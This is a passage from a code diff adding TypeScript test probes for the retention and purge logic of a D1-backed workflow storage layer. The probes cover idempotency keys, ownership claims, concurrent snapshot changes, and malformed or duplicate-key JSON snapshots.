+    now: () => new Date('2026-09-09T12:00:00.000Z').getTime(),
+    ttlMs: 60 * 60 * 1000,
+  };
+  const purged = await purgeExpiredNotifications(db, options);
+  const { results: after } = await db
+    .prepare(
+      'SELECT id, status, updatedAt FROM mastra_notifications ORDER BY id',
+    )
+    .all<{ id: string; status: string; updatedAt: string }>();
+  const future = await storage.getNotification({
+    threadId: 'thread-chronology',
+    id: 'future',
+  });
+  return {
+    purged,
+    after,
+    futureSignalId: future?.deliveredSignalId ?? null,
+    repeated: await purgeExpiredNotifications(db, options),
+  };
+}
+
 async function backgroundProbe(db: D1Database): Promise<unknown> {
   const storage = createD1Storage({
     binding: db,
@@ -394,12 +698,14 @@ async function backgroundProbe(db: D1Database): Promise<unknown> {
   };
 }
 
-async function createSnapshotTable(db: D1Database): Promise<void> {
+async function createSnapshotTable(db: D1Database, prefix = ''): Promise<void> {
+  validateTablePrefix(prefix);
   await db
     .prepare(
-      `CREATE TABLE mastra_workflow_snapshot (
+      `CREATE TABLE ${prefix}mastra_workflow_snapshot (
          workflow_name TEXT NOT NULL,
          run_id TEXT NOT NULL,
+         resourceId TEXT,
          snapshot TEXT NOT NULL,
          createdAt TEXT NOT NULL,
          updatedAt TEXT NOT NULL,
@@ -510,6 +816,7 @@ async function retentionProbe(db: D1Database): Promise<unknown> {
   const purgePromise = purgeExpiredWorkflowRuns(db, {
     ttlMs: 7 * DAY_MS,
     now: () => NOW,
+    advanceCursor: async () => {},
   });
   const updatePromise = db
     .prepare(
@@ -552,6 +859,7 @@ async function retentionProbe(db: D1Database): Promise<unknown> {
       ttlMs: 7 * DAY_MS,
       now: () => NOW,
       resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      advanceCursor: async () => {},
     });
   } catch (error) {
     rollbackError = String(error);
@@ -573,16 +881,2557 @@ async function retentionProbe(db: D1Database): Promise<unknown> {
   };
 }
 
-const handler = {
-  async fetch(request: Request, env: Env): Promise<Response> {
-    try {
-      const path = new URL(request.url).pathname;
-      if (request.method !== 'POST') {
-        return new Response('not found', { status: 404 });
+const E_PREFIX = 'e_retention_';
+const E_TABLE = `${E_PREFIX}mastra_workflow_snapshot`;
+const E_KEYS = 'e_retention_start_requests';
+const E_OLD = new Date(NOW - 8 * DAY_MS).toISOString();
+const E_OWNER = { kind: 'human' as const, id: 'Resource owner' };
+const E_START = {
+  owner: { kind: 'human' as const, id: 'Initiating principal' },
+  target: { kind: 'agent' as const, id: 'logical-agent', threadId: 'thread' },
+};
+const encoder = new TextEncoder();
+
+function retentionSnapshot(token = 'generation-one') {
+  return {
+    status: 'success',
+    requestContext: {
+      'flowsafe.runProvenance': {
+        version: 2,
+        startToken: token,
+        startIdentity: E_START,
+        agentStart: { threaded: false },
+      },
+    },
+  };
+}
+
+function insertRetentionSnapshot(
+  db: D1Database,
+  runId: string,
+  snapshot: unknown = retentionSnapshot(),
+  prefix = E_PREFIX,
+  workflow = 'physical-workflow',
+) {
+  validateTablePrefix(prefix);
+  return db
+    .prepare(`INSERT INTO "${prefix}mastra_workflow_snapshot"
+      (workflow_name, run_id, snapshot, createdAt, updatedAt)
+      VALUES (?, ?, ?, ?, ?)`)
+    .bind(
+      workflow,
+      runId,
+      typeof snapshot === 'string' ? snapshot : JSON.stringify(snapshot),
+      E_OLD,
+      E_OLD,
+    );
+}
+
+async function createRetentionKeys(db: D1Database, stage = 3) {
+  const additions = START_IDEMPOTENCY_ADDITIONS.join(',\n    ');
+  await db
+    .prepare(
+      START_IDEMPOTENCY_DDL.replace(START_IDEMPOTENCY_TABLE, E_KEYS).replace(
+        `,\n    ${additions}`,
+        stage === 0
+          ? ''
+          : `,\n    ${START_IDEMPOTENCY_ADDITIONS.slice(0, stage).join(',\n    ')}`,
+      ),
+    )
+    .run();
+}
+
+function insertRetentionKey(
+  db: D1Database,
+  key: string,
+  runId: string,
+  patch: Record<string, string | number | null> = {},
+  stage = 3,
+) {
+  const row: Record<string, string | number | null> = {
+    key,
+    owner_kind: E_START.owner.kind,
+    owner_id: E_START.owner.id,
+    target_kind: E_START.target.kind,
+    target_id: E_START.target.id,
+    run_id: runId,
+    thread_id: E_START.target.threadId,
+    state: 'terminal',
+    created_at: NOW - 9 * DAY_MS,
+    updated_at: NOW - 8 * DAY_MS,
+    ...Object.fromEntries(
+      [
+        ['start_token', 'generation-one'],
+        ['start_table_prefix', E_PREFIX],
+        ['start_workflow_id', 'physical-workflow'],
+      ].slice(0, stage),
+    ),
+    ...patch,
+  };
+  return db
+    .prepare(`INSERT INTO ${E_KEYS} (${Object.keys(row).join(', ')})
+    VALUES (${Object.keys(row)
+      .map(() => '?')
+      .join(', ')})`)
+    .bind(...Object.values(row));
+}
+
+function measuredRetentionDatabase(
+  db: D1Database,
+  beforeBatch?: (ordinal: number) => Promise<void>,
+  beforeRead?: (sql: string, values: readonly unknown[]) => Promise<void>,
+) {
+  const statements = new WeakMap<
+    SnapshotStatement,
+    { native: D1PreparedStatement; sql: string; values: unknown[] }
+  >();
+  const metrics = {
+    statements: 0,
+    batches: 0,
+    maxSqlBytes: 0,
+    maxBindings: 0,
+    maxBoundStringBytes: 0,
+    maxSelectorBytes: 0,
+    maxResultBytes: 0,
+    rowsRead: 0,
+    rowsWritten: 0,
+    sqlDurationMs: 0,
+  };
+  const recordStatement = (statement: SnapshotStatement) => {
+    const entry = statements.get(statement);
+    if (!entry) throw new Error('foreign measured statement');
+    metrics.statements += 1;
+    metrics.maxSqlBytes = Math.max(
+      metrics.maxSqlBytes,
+      encoder.encode(entry.sql).length,
+    );
+    metrics.maxBindings = Math.max(metrics.maxBindings, entry.values.length);
+    for (const value of entry.values) {
+      if (typeof value !== 'string') continue;
+      const bytes = encoder.encode(value).length;
+      metrics.maxBoundStringBytes = Math.max(
+        metrics.maxBoundStringBytes,
+        bytes,
+      );
+      if (value.startsWith('['))
+        metrics.maxSelectorBytes = Math.max(metrics.maxSelectorBytes, bytes);
+    }
+  };
+  const recordResult = (outcome: D1Result) => {
+    metrics.maxResultBytes = Math.max(
+      metrics.maxResultBytes,
+      encoder.encode(JSON.stringify(outcome.results)).length,
+    );
+    metrics.rowsRead += outcome.meta.rows_read;
+    metrics.rowsWritten += outcome.meta.rows_written;
+    metrics.sqlDurationMs += outcome.meta.duration;
+  };
+  const wrap = (sql: string, values: unknown[]): SnapshotStatement => {
+    const prepared = db.prepare(sql);
+    const native = values.length ? prepared.bind(...values) : prepared;
+    const statement: SnapshotStatement = {
+      bind: (...bindings) => wrap(sql, bindings),
+      run: async () => {
+        recordStatement(statement);
+        const outcome = await native.run();
+        recordResult(outcome);
+        return outcome;
+      },
+      all: async <T>() => {
+        await beforeRead?.(sql, values);
+        recordStatement(statement);
+        const outcome = await native.all<T>();
+        recordResult(outcome);
+        return outcome;
+      },
+    };
+    statements.set(statement, { native, sql, values });
+    return statement;
+  };
+  const database: SnapshotDatabase & Required<Pick<SnapshotDatabase, 'batch'>> =
+    {
+      prepare: (sql) => wrap(sql, []),
+      batch: async (batch) => {
+        metrics.batches += 1;
+        await beforeBatch?.(metrics.batches);
+        const results = await db.batch(
+          batch.map((statement) => {
+            recordStatement(statement);
+            const entry = statements.get(statement);
+            if (!entry) throw new Error('foreign batch statement');
+            return entry.native;
+          }),
+        );
+        results.forEach((outcome) => {
+          recordResult(outcome);
+        });
+        return results;
+      },
+    };
+  return { database, metrics };
+}
+
+function retentionOptions(advances: RunRetentionCursor[]) {
+  return {
+    tablePrefix: E_PREFIX,
+    ttlMs: 7 * DAY_MS,
+    now: () => NOW,
+    advanceCursor: async (cursor: RunRetentionCursor) => {
+      advances.push(structuredClone(cursor));
+    },
+  };
+}
+
+async function retentionState(db: D1Database) {
+  const [snapshots, keys, owners] = await Promise.all([
+    db
+      .prepare(
+        `SELECT workflow_name, run_id, snapshot, updatedAt FROM ${E_TABLE} ORDER BY workflow_name, run_id`,
+      )
+      .all(),
+    db.prepare(`SELECT * FROM ${E_KEYS} ORDER BY key`).all(),
+    db
+      .prepare(
+        `SELECT * FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*' ORDER BY resource_id`,
+      )
+      .all(),
+  ]);
+  return {
+    snapshots: snapshots.results,
+    keys: keys.results,
+    owners: owners.results,
+  };
+}
+
+async function cleanupRetentionProbe(db: D1Database) {
+  const tables = await db
+    .prepare(`SELECT name, type FROM sqlite_schema
+    WHERE name GLOB 'e_retention_*' AND type IN ('table', 'view')`)
+    .all<{ name: string; type: string }>();
+  for (const { name, type } of tables.results) {
+    if (!/^[a-zA-Z0-9_]+$/.test(name)) throw new Error('invalid probe table');
+    await db
+      .prepare(`DROP ${type === 'view' ? 'VIEW' : 'TABLE'} "${name}"`)
+      .run();
+  }
+  const ownerTable = await db
+    .prepare(`SELECT name FROM sqlite_schema WHERE name = ?`)
+    .bind(RESOURCE_OWNERSHIP_TABLE)
+    .first();
+  if (ownerTable)
+    await db
+      .prepare(
+        `DELETE FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*'`,
+      )
+      .run();
+  return {
+    remaining: (
+      await db
+        .prepare(
+          `SELECT name FROM sqlite_schema WHERE name GLOB 'e_retention_*'`,
+        )
+        .all()
+    ).results,
+  };
+}
+
+async function heldRetentionProbe(db: D1Database, variant: string) {
+  await createSnapshotTable(db, E_PREFIX);
+  if (variant !== 'reservation-schema') await createRetentionKeys(db);
+  const resources = new D1ResourceOwnershipStore(db);
+  const runId = 'e-retention-held';
+  await resources.claim('run', runId, E_OWNER);
+  const legacy = variant === 'legacy';
+  await insertRetentionSnapshot(
+    db,
+    runId,
+    legacy ? { status: 'success', value: 'old' } : retentionSnapshot(),
+  ).run();
+  if (variant !== 'reservation-schema')
+    await insertRetentionKey(db, 'held-key', runId, { state: 'started' }).run();
+  const advances: RunRetentionCursor[] = [];
+  let artifacts = 0;
+  let intervened: Awaited<ReturnType<typeof retentionState>> | undefined;
+  const measured = measuredRetentionDatabase(
+    db,
+    variant === 'schema-churn'
+      ? async (ordinal) => {
+          await createSnapshotTable(db, `${E_PREFIX}churn${ordinal}_`);
+        }
+      : undefined,
+  );
+  let purged: number | undefined;
+  let error: string | undefined;
+  try {
+    purged = await purgeExpiredWorkflowRuns(measured.database, {
+      ...retentionOptions(advances),
+      resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      startIdempotencyTable: E_KEYS,
+      artifactStore: {
+        deleteRun: async () => {
+          artifacts += 1;
+          if (variant === 'reservation-schema') {
+            await createRetentionKeys(db);
+            await insertRetentionKey(db, 'held-key', runId, {
+              state: 'started',
+            }).run();
+          } else if (variant === 'schema-view') {
+            await db
+              .prepare(
+                `CREATE VIEW ${E_PREFIX}view_mastra_workflow_snapshot AS SELECT * FROM ${E_TABLE}`,
+              )
+              .run();
+          } else if (variant === 'schema' || variant === 'schema-churn') {
+            if (variant === 'schema') {
+              await createSnapshotTable(db, `${E_PREFIX}sibling_`);
+              await insertRetentionSnapshot(
+                db,
+                runId,
+                '{malformed',
+                `${E_PREFIX}sibling_`,
+              ).run();
+            }
+          } else if (variant === 'eligibility') {
+            await db
+              .prepare(`UPDATE ${E_TABLE} SET updatedAt = ?`)
+              .bind(new Date(NOW).toISOString())
+              .run();
+          } else {
+            const snapshot = retentionSnapshot(
+              variant === 'generation' ? 'generation-two' : 'generation-one',
+            );
+            const provenance =
+              snapshot.requestContext['flowsafe.runProvenance'];
+            let replacement: unknown = snapshot;
+            if (variant === 'capsule')
+              provenance.startIdentity = {
+                ...E_START,
+                owner: { kind: 'human', id: 'Different initiator' },
+              };
+            if (variant === 'boolean')
+              replacement = JSON.stringify(snapshot).replace(
+                '"threaded":false',
+                '"threaded":0',
+              );
+            if (variant === 'null')
+              replacement = JSON.stringify(snapshot).replace(
+                '"agentStart":{"threaded":false}',
+                '"agentStart":null',
+              );
+            if (variant === 'duplicate')
+              replacement = JSON.stringify(snapshot).replace(
+                '"startToken":"generation-one"',
+                '"startToken":"generation-one","startToken":"generation-two"',
+              );
+            if (variant === 'legacy')
+              replacement = { status: 'success', value: 'replacement' };
+            await db
+              .prepare(`UPDATE ${E_TABLE} SET snapshot = ?`)
+              .bind(
+                typeof replacement === 'string'
+                  ? replacement
+                  : JSON.stringify(replacement),
+              )
+              .run();
+          }
+          intervened = await retentionState(db);
+          return 0;
+        },
+      },
+    });
+  } catch (caught) {
+    error = String(caught);
+  }
+  return {
+    purged,
+    error,
+    artifacts,
+    advances,
+    intervened,
+    after: await retentionState(db),
+    metrics: measured.metrics,
+  };
+}
+
+async function duplicateEligibilityRetentionProbe(
+  db: D1Database,
+  phase: 'initial' | 'held',
+) {
+  await createSnapshotTable(db, E_PREFIX);
+  await createRetentionKeys(db);
+  const resources = new D1ResourceOwnershipStore(db);
+  const cases = [
+    'status',
+    'escaped-status',
+    'request-context',
+    'lifecycle',
+    'terminal',
+    'cleanup',
+    'success-control',
+    'cleanup-control',
+  ].map((variant) => {
+    const runId = `e-retention-eligibility-${variant}`;
+    const complete = {
+      ...createEmptyWorkflowSnapshot(runId),
+      ...retentionSnapshot(),
+      status:
+        variant === 'status' ||
+        variant === 'escaped-status' ||
+        variant === 'success-control'
+          ? 'success'
+          : 'cancelled',
+      requestContext: {
+        ...retentionSnapshot().requestContext,
+        'flowsafe.runLifecycle': { terminal: { cleanupCompletedAt: 1 } },
+      },
+    };
+    const eligible = JSON.stringify(complete);
+    let snapshot = eligible;
+    switch (variant) {
+      case 'status':
+        snapshot = eligible.replace(
+          '"status":"success"',
+          '"status":"success","status":"running"',
+        );
+        break;
+      case 'escaped-status':
+        snapshot = eligible.replace(
+          '"status":"success"',
+          '"status":"success","sta\\u0074us":"running"',
+        );
+        break;
+      case 'request-context': {
+        const context = JSON.stringify(complete.requestContext);
+        snapshot = eligible.replace(
+          `"requestContext":${context}`,
+          `"requestContext":${context},"requestContext":${context.replace(
+            '"cleanupCompletedAt":1',
+            '"cleanupCompletedAt":null',
+          )}`,
+        );
+        break;
       }
-      if (path === '/seed') {
-        await seedDeploymentIdentity(env.DB, 'spike', 'open');
-        return Response.json({ ok: true });
+      case 'lifecycle':
+        snapshot = eligible.replace(
+          '"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1}}',
+          '"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1}},"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":null}}',
+        );
+        break;
+      case 'terminal':
+        snapshot = eligible.replace(
+          '"terminal":{"cleanupCompletedAt":1}',
+          '"terminal":{"cleanupCompletedAt":1},"terminal":{"cleanupCompletedAt":null}',
+        );
+        break;
+      case 'cleanup':
+        snapshot = eligible.replace(
+          '"cleanupCompletedAt":1',
+          '"cleanupCompletedAt":1,"cleanupCompletedAt":null',
+        );
+        break;
+    }
+    return { variant, runId, eligible, snapshot };
+  });
+  for (const candidate of cases)
+    await resources.claim('run', candidate.runId, E_OWNER);
+  await db.batch(
+    cases.flatMap(({ runId, eligible, snapshot }) => [
+      insertRetentionSnapshot(
+        db,
+        runId,
+        phase === 'held' ? eligible : snapshot,
+      ),
+      insertRetentionKey(db, `${runId}-expired`, runId),
+      insertRetentionKey(db, `${runId}-started`, runId, { state: 'started' }),
+    ]),
+  );
+  const before = await retentionState(db);
+  const advances: RunRetentionCursor[] = [];
+  const artifacts: string[] = [];
+  const measured = measuredRetentionDatabase(db);
+  const purged = await purgeExpiredWorkflowRuns(measured.database, {
+    ...retentionOptions(advances),
+    resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+    startIdempotencyTable: E_KEYS,
+    artifactStore: {
+      deleteRun: async (_workflowId, runId) => {
+        artifacts.push(runId);
+        if (phase === 'held') {
+          const candidate = cases.find((entry) => entry.runId === runId);
+          if (!candidate) throw new Error('unexpected retention candidate');
+          await db
+            .prepare(`UPDATE ${E_TABLE} SET snapshot = ? WHERE run_id = ?`)
+            .bind(candidate.snapshot, runId)
+            .run();
+        }
+        return 0;
+      },
+    },
+  });
+  const sqlEligibility = await db.batch(
+    cases.map(({ snapshot }) =>
+      db
+        .prepare(`SELECT json_extract(?1, '$.status') AS status,
+          json_extract(?1, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') AS cleanup`)
+        .bind(snapshot),
+    ),
+  );
+  return {
+    cases: cases.map(({ variant, runId, snapshot }, index) => ({
+      variant,
+      runId,
+      snapshot,
+      sqlEligibility: sqlEligibility[index]?.results[0],
+    })),
+    purged,
+    artifacts,
+    advances,
+    before,
+    after: await retentionState(db),
+    metrics: measured.metrics,
+  };
+}
+
+async function cleanupTimestampRetentionProbe(
+  db: D1Database,
+  format: 'modern' | 'legacy',
+  phase: 'initial' | 'held' | 'reread',
+) {
+  await createSnapshotTable(db, E_PREFIX);
+  await createRetentionKeys(db);
+  const resources = new D1ResourceOwnershipStore(db);
+  const cases = [
+    ['boolean', 'false'],
+    ['string', '"done"'],
+    ['object', '{}'],
+    ['negative', '-1'],
+    ['fractional', '0.5'],
+    ['unsafe', '9007199254740992'],
+    ['infinite', '1e309'],
+    ['zero-control', '0'],
+    ['real-control', '1.0'],
+    ['exponent-control', '1e0'],
+    ['safe-max-control', '9007199254740991'],
+  ].map(([variant, marker], index) => {
+    const runId = `e-retention-time-${variant}`;
+    const status = index % 2 === 0 ? 'cancelled' : 'timed_out';
+    const lifecycle = projectTerminalLifecycle(undefined, status, 0, [
+      E_START.owner,
+    ]);
+    lifecycle.terminal.cleanupCompletedAt = 1;
+    parseRunLifecycle(lifecycle);
+    const eligible = JSON.stringify({
+      ...createEmptyWorkflowSnapshot(runId),
+      status,
+      requestContext: {
+        ...(format === 'modern' ? retentionSnapshot().requestContext : {}),
+        'flowsafe.runLifecycle': lifecycle,
+      },
+    });
+    const snapshot = eligible.replace(
+      '"cleanupCompletedAt":1',
+      `"cleanupCompletedAt":${marker}`,
+    );
+    let accepted = true;
+    try {
+      parseRunLifecycle(
+        JSON.parse(snapshot).requestContext['flowsafe.runLifecycle'],
+      );
+    } catch {
+      accepted = false;
+    }
+    return { variant, runId, eligible, snapshot, accepted };
+  });
+  const binding: Record<string, string | number | null> =
+    format === 'legacy'
+      ? {
+          start_token: null,
+          start_table_prefix: null,
+          start_workflow_id: null,
+        }
+      : {};
+  for (const candidate of cases)
+    await resources.claim('run', candidate.runId, E_OWNER);
+  await db.batch(
+    cases.flatMap(({ runId, eligible, snapshot, accepted }) => [
+      insertRetentionSnapshot(
+        db,
+        runId,
+        phase === 'initial' || accepted ? snapshot : eligible,
+      ),
+      insertRetentionKey(db, `${runId}-expired`, runId, binding),
+      insertRetentionKey(db, `${runId}-started`, runId, {
+        ...binding,
+        state: 'started',
+      }),
+    ]),
+  );
+  const replace = async (runId: unknown) => {
+    const candidate = cases.find((entry) => entry.runId === runId);
+    if (!candidate) throw new Error('unexpected cleanup timestamp candidate');
+    await db
+      .prepare(`UPDATE ${E_TABLE} SET snapshot = ? WHERE run_id = ?`)
+      .bind(candidate.snapshot, candidate.runId)
+      .run();
+  };
+  const before = await retentionState(db);
+  const rawReads: unknown[] = [];
+  const measured = measuredRetentionDatabase(
+    db,
+    undefined,
+    async (sql, values) => {
+      if (
+        !sql.startsWith(
+          'SELECT workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt',
+        ) ||
+        !sql.includes(`FROM "${E_TABLE}"`)
+      )
+        return;
+      rawReads.push(values[1]);
+      if (phase === 'reread') await replace(values[1]);
+    },
+  );
+  const advances: RunRetentionCursor[] = [];
+  const artifacts: string[] = [];
+  const purged = await purgeExpiredWorkflowRuns(measured.database, {
+    ...retentionOptions(advances),
+    resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+    startIdempotencyTable: E_KEYS,
+    artifactStore: {
+      deleteRun: async (_workflowId, runId) => {
+        artifacts.push(runId);
+        if (phase === 'held') await replace(runId);
+        return 0;
+      },
+    },
+  });
+  const jsonTypes = await db.batch<{ type: string }>(
+    cases.map(({ snapshot }) =>
+      db
+        .prepare(
+          `SELECT json_type(?, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') AS type`,
+        )
+        .bind(snapshot),
+    ),
+  );
+  return {
+    cases: cases.map(({ eligible: _eligible, ...candidate }, index) => ({
+      ...candidate,
+      sqlType: jsonTypes[index]?.results[0]?.type,
+    })),
+    purged,
+    artifacts,
+    rawReads,
+    advances,
+    before,
+    after: await retentionState(db),
+    metrics: measured.metrics,
+  };
+}
+
+async function ownerAdmissionRetentionProbe(db: D1Database, order: string) {
+  await createSnapshotTable(db, E_PREFIX);
+  const resources = new D1ResourceOwnershipStore(db);
+  const runId = 'e-retention-reused';
+  const claimed = await resources.claim('run', runId, E_OWNER);
+  const reserved = await resources.reserveAll(
+    [{ kind: 'run', resourceId: runId }],
+    E_OWNER,
+    'correlation',
+  );
+  const beforeOwner = await db
+    .prepare(
+      `SELECT owner_id, reservation_token FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id = ?`,
+    )
+    .bind(runId)
+    .first();
+  await insertRetentionSnapshot(db, runId).run();
+  const fence = new ExecutionFenceStore(db);
+  const domain = new FencedWorkflowsStorageD1({
+    binding: db,
+    tablePrefix: E_PREFIX,
+  });
+  const capability = domain[FENCED_WORKFLOW_STORAGE];
+  if (!capability) throw new Error('fenced admission capability missing');
+  const startIdentity = {
+    owner: E_START.owner,
+    target: { kind: 'workflow' as const, id: 'new-physical-workflow' },
+  };
+  const execution = {
+    tablePrefix: E_PREFIX,
+    workflowId: startIdentity.target.id,
+    runId,
+    startToken: 'new-generation',
+  };
+  let admission: unknown;
+  let definitive = false;
+  const admit = async () => {
+    try {
+      const admitted = await capability.withInitialAdmission(
+        {
+          execution,
+          attemptToken: 'correlation',
+          startIdentity,
+          fence,
+          runOwnerGuard: { owner: E_OWNER, reservationToken: 'correlation' },
+          requestContext: {
+            runId,
+            'breakwater.workflowScope': execution.workflowId,
+            'flowsafe.runProvenance': {
+              version: 2,
+              startToken: execution.startToken,
+              attemptToken: 'correlation',
+              startIdentity,
+              requestedBy: E_START.owner.id,
+              requestedByKind: E_START.owner.kind,
+              resumeCounts: [],
+            },
+          },
+          onInitialWriteAttempt: () => {},
+        },
+        () =>
+          domain.persistWorkflowSnapshot({
+            workflowName: execution.workflowId,
+            runId,
+            snapshot: {
+              ...createEmptyWorkflowSnapshot(runId),
+              status: 'pending',
+            },
+          }),
+      );
+      admission = { execution: admitted.witness.execution };
+    } catch (error) {
+      definitive = isDefinitiveInitialAdmissionRefusal(error, execution);
+      admission = {
+        error: String(error),
+        reason: (error as { reason?: unknown }).reason,
+      };
+    }
+  };
+  const advances: RunRetentionCursor[] = [];
+  const purged = await purgeExpiredWorkflowRuns(db, {
+    ...retentionOptions(advances),
+    resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+    ...(order === 'admission-first'
+      ? {
+          artifactStore: {
+            deleteRun: async () => {
+              await admit();
+              return 0;
+            },
+          },
+        }
+      : {}),
+  });
+  if (order === 'purge-first') await admit();
+  return {
+    claimed,
+    reserved,
+    beforeOwner,
+    purged,
+    advances,
+    admission,
+    definitive,
+    owner: (await resources.owner('run', runId)) ?? null,
+    snapshots: (
+      await db
+        .prepare(
+          `SELECT workflow_name, run_id, snapshot FROM ${E_TABLE} ORDER BY workflow_name`,
+        )
+        .all()
+    ).results,
+  };
+}
+
+async function siblingOwnerRetentionProbe(db: D1Database) {
+  await createSnapshotTable(db, E_PREFIX);
+  await createSnapshotTable(db, `${E_PREFIX}sibling_`);
+  const resources = new D1ResourceOwnershipStore(db);
+  const runs = ['reserved', 'cross-workflow', 'malformed-sibling', 'unshared'];
+  for (const name of runs) {
+    const runId = `e-retention-${name}`;
+    if (name === 'reserved')
+      await resources.reserveAll(
+        [{ kind: 'run', resourceId: runId }],
+        E_OWNER,
+        'held-reservation',
+      );
+    else await resources.claim('run', runId, E_OWNER);
+    await insertRetentionSnapshot(db, runId).run();
+  }
+  await insertRetentionSnapshot(
+    db,
+    'e-retention-cross-workflow',
+    { status: 'running' },
+    E_PREFIX,
+    'other-workflow',
+  ).run();
+  await insertRetentionSnapshot(
+    db,
+    'e-retention-malformed-sibling',
+    '{not-json',
+    `${E_PREFIX}sibling_`,
+    'other-workflow',
+  ).run();
+  const advances: RunRetentionCursor[] = [];
+  const purged = await purgeExpiredWorkflowRuns(db, {
+    ...retentionOptions(advances),
+    resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+  });
+  return {
+    purged,
+    advances,
+    owners: (
+      await db
+        .prepare(
+          `SELECT resource_id, owner_id, reservation_token FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*' ORDER BY resource_id`,
+        )
+        .all()
+    ).results,
+    sibling: (
+      await db
+        .prepare(
+          `SELECT run_id, snapshot FROM ${E_PREFIX}sibling_mastra_workflow_snapshot`,
+        )
+        .all()
+    ).results,
+    snapshots: (
+      await db.prepare(`SELECT workflow_name, run_id FROM ${E_TABLE}`).all()
+    ).results,
+  };
+}
+
+async function bindingRetentionProbe(db: D1Database) {
+  await createSnapshotTable(db, E_PREFIX);
+  await createRetentionKeys(db);
+  const runId = 'e-retention-binding';
+  await new D1ResourceOwnershipStore(db).claim('run', runId, E_OWNER);
+  await insertRetentionSnapshot(db, runId).run();
+  const cases: Record<string, Record<string, string | number | null>> = {
+    'alias-expired': {},
+    'alias-recent': { updated_at: NOW },
+    'alias-started': { state: 'started' },
+    'other-token': { state: 'started', start_token: 'other' },
+    'other-prefix': { state: 'started', start_table_prefix: 'other_' },
+    'other-workflow': { state: 'started', start_workflow_id: 'other' },
+    'other-owner': { state: 'started', owner_id: 'Other' },
+    'other-owner-kind': { state: 'started', owner_kind: 'service' },
+    'other-target': { state: 'started', target_id: 'other' },
+    'other-target-kind': {
+      state: 'started',
+      target_kind: 'workflow',
+      thread_id: null,
+    },
+    'other-thread': { state: 'started', thread_id: 'other' },
+    'legacy-started': {
+      state: 'started',
+      start_token: null,
+      start_table_prefix: null,
+      start_workflow_id: null,
+    },
+    'unbound-started': {
+      state: 'started',
+      start_token: '',
+      start_table_prefix: null,
+      start_workflow_id: null,
+    },
+    'unbound-terminal': {
+      start_token: '',
+      start_table_prefix: null,
+      start_workflow_id: null,
+    },
+    'null-started': { state: 'started', start_table_prefix: null },
+    'null-terminal': { start_table_prefix: null },
+  };
+  await db.batch(
+    Object.entries(cases).map(([key, patch]) =>
+      insertRetentionKey(db, key, runId, patch),
+    ),
+  );
+  const before = await retentionState(db);
+  const advances: RunRetentionCursor[] = [];
+  const purged = await purgeExpiredWorkflowRuns(db, {
+    ...retentionOptions(advances),
+    resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+    startIdempotencyTable: E_KEYS,
+  });
+  return { purged, advances, before, after: await retentionState(db) };
+}
+
+async function orphanRetentionProbe(
+  db: D1Database,
+  stage: number | 'replacement' | 'absent',
+) {
+  if (stage !== 'absent') await createSnapshotTable(db, E_PREFIX);
+  await createRetentionKeys(db, typeof stage === 'number' ? stage : 3);
+  const advances: RunRetentionCursor[] = [];
+  if (typeof stage === 'number') {
+    await insertRetentionSnapshot(
+      db,
+      'e-retention-present',
+      '{malformed',
+    ).run();
+    const legacy = Object.fromEntries(
+      ['start_token', 'start_table_prefix']
+        .slice(0, stage)
+        .map((key) => [key, null]),
+    );
+    await db.batch([
+      insertRetentionKey(
+        db,
+        'legacy-present',
+        'e-retention-present',
+        legacy,
+        stage,
+      ),
+      insertRetentionKey(
+        db,
+        'legacy-orphan',
+        'e-retention-absent',
+        legacy,
+        stage,
+      ),
+      ...(stage > 0
+        ? [
+            insertRetentionKey(
+              db,
+              'partial-nonnull',
+              'e-retention-ambiguous',
+              { ...legacy, start_token: 'non-null' },
+              stage,
+            ),
+          ]
+        : []),
+    ]);
+    const before = (
+      await db.prepare(`SELECT * FROM ${E_KEYS} ORDER BY key`).all()
+    ).results;
+    const purged = await purgeExpiredWorkflowRuns(db, {
+      ...retentionOptions(advances),
+      startIdempotencyTable: E_KEYS,
+    });
+    return {
+      purged,
+      advances,
+      before,
+      keys: (await db.prepare(`SELECT * FROM ${E_KEYS} ORDER BY key`).all())
+        .results,
+    };
+  }
+  await insertRetentionKey(db, 'orphan-key', 'e-retention-orphan').run();
+  if (stage === 'absent') {
+    const purged = await purgeExpiredWorkflowRuns(db, {
+      ...retentionOptions(advances),
+      startIdempotencyTable: E_KEYS,
+    });
+    return {
+      purged,
+      advances,
+      keys: (await db.prepare(`SELECT * FROM ${E_KEYS}`).all()).results,
+    };
+  }
+  const replacement = {
+    ...retentionSnapshot('generation-two'),
+    status: 'running',
+  };
+  await insertRetentionSnapshot(db, 'e-retention-orphan', replacement).run();
+  let held = 0;
+  const measured = measuredRetentionDatabase(db, async () => {
+    held += 1;
+    await db
+      .prepare(`UPDATE ${E_TABLE} SET snapshot = ?`)
+      .bind(JSON.stringify({ ...retentionSnapshot(), status: 'running' }))
+      .run();
+  });
+  const first = await purgeExpiredWorkflowRuns(measured.database, {
+    ...retentionOptions(advances),
+    startIdempotencyTable: E_KEYS,
+  });
+  const heldKeys = (await db.prepare(`SELECT * FROM ${E_KEYS}`).all()).results;
+  await db
+    .prepare(`UPDATE ${E_TABLE} SET snapshot = ?`)
+    .bind(JSON.stringify(replacement))
+    .run();
+  const second = await purgeExpiredWorkflowRuns(db, {
+    ...retentionOptions(advances),
+    startIdempotencyTable: E_KEYS,
+  });
+  return {
+    first,
+    second,
+    held,
+    heldKeys,
+    advances,
+    keys: (await db.prepare(`SELECT * FROM ${E_KEYS}`).all()).results,
+    snapshot: await db.prepare(`SELECT snapshot FROM ${E_TABLE}`).first(),
+  };
+}
+
+function maximalRetentionSnapshot(
+  token: string,
